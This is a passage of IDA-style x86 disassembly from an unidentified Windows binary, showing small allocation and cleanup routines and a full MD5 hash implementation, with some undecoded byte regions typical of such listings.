		cmp	eax, ecx
		jnz	short loc_433597
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433597:				; CODE XREF: ___:0043358Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43359C:				; CODE XREF: ___:00433582j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4335B0	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43363C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4335D4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335D4:				; CODE XREF: sub_4335B0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_4335ED
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335ED:				; CODE XREF: sub_4335B0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4335FD
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335FD:				; CODE XREF: sub_4335B0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0D5ECE890h, 0C085022Eh, 0E8560E74h, 0FFFCE181h, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43363C:				; CODE XREF: sub_4335B0+12j
		pop	esi
		retn
sub_4335B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433670	proc near		; CODE XREF: sub_4015FFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433695
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433695:				; CODE XREF: sub_433670+15j
		nop
		call	near ptr 272087Fh
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4336BE
		push	esi
		mov	edi, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336BE:				; CODE XREF: sub_433670+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4336DB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336DB:				; CODE XREF: sub_433670+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_433670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433710	proc near		; CODE XREF: sub_401AA0j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_4337A0
		cmp	[ebx+0Ch], ebp
		jz	short loc_43377C
		cmp	[ebx+4], ebp
		jz	short loc_43377C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43377C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_43376F
		push	edi


loc_433743:				; CODE XREF: sub_433710+5Cj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43376A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_43376A:				; CODE XREF: sub_433710+3Ej
		cmp	esi, ebp
		jnz	short loc_433743
		pop	edi


loc_43376F:				; CODE XREF: sub_433710+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_43377C:				; CODE XREF: sub_433710+13j
					; sub_433710+18j ...
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 272011Dh
		cmp	[ebx+4], ebp
		jz	short loc_433796
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_40222F
		add	esp, 4


loc_433796:				; CODE XREF: sub_433710+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4337A0:				; CODE XREF: sub_433710+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_433710	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4337E0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_50E3D8
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_433804
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_433813
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433804:				; CODE XREF: sub_4337E0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_433813
		mov	eax, ebx


loc_433813:				; CODE XREF: sub_4337E0+1Aj
					; sub_4337E0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_433875
		test	eax, eax
		jz	short loc_433862
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_433862
		test	ebx, ebx
		jz	short loc_433862
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_43384D


loc_433837:				; CODE XREF: sub_4337E0+65j
		cmp	[ecx+8], esi
		jz	short loc_433849
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_433837
		jmp	short loc_43384D
; ---------------------------------------------------------------------------


loc_433849:				; CODE XREF: sub_4337E0+5Aj
		test	ecx, ecx
		jnz	short loc_433862


loc_43384D:				; CODE XREF: sub_4337E0+55j
					; sub_4337E0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DC5
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_433875


loc_433862:				; CODE XREF: sub_4337E0+3Cj
					; sub_4337E0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 27404B4h
		test	eax, eax
		jnz	short loc_433875
		mov	edi, 0Bh


loc_433875:				; CODE XREF: sub_4337E0+38j
					; sub_4337E0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4337E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4338B0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27A08E3h
		mov	esi, eax
		call	sub_436F5A
sub_4338B0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	0D46DE851h, 5690022Dh, 29E8D88Bh
		dd 90022EC7h, 36C4E857h, 8B5F0000h, 0C35B5EC3h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_433900	proc near		; CODE XREF: sub_401A55j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_433900	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433940	proc near		; CODE XREF: sub_401C12j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_43396B
		inc	dword ptr [esi+14h]


loc_43396B:				; CODE XREF: sub_433940+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_4339C9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_434740
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_433AB0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_4339C5


loc_4339A9:				; CODE XREF: sub_433940+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_433AB0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_4339A9


loc_4339C5:				; CODE XREF: sub_433940+67j
		xor	eax, eax
		jmp	short loc_4339CB
; ---------------------------------------------------------------------------


loc_4339C9:				; CODE XREF: sub_433940+41j
		xor	ebp, ebp


loc_4339CB:				; CODE XREF: sub_433940+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_434740
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_433940	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433A20	proc near		; CODE XREF: sub_402158j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_434660
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_433A53
		mov	ecx, 78h


loc_433A53:				; CODE XREF: sub_433A20+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; "€"
		push	edi
		call	sub_401C12
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C12
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_434660
		push	58h
		push	0
		push	edi
		call	sub_434770
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_433A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433AB0	proc near		; CODE XREF: sub_433940+58p
					; sub_433940+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4346D0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
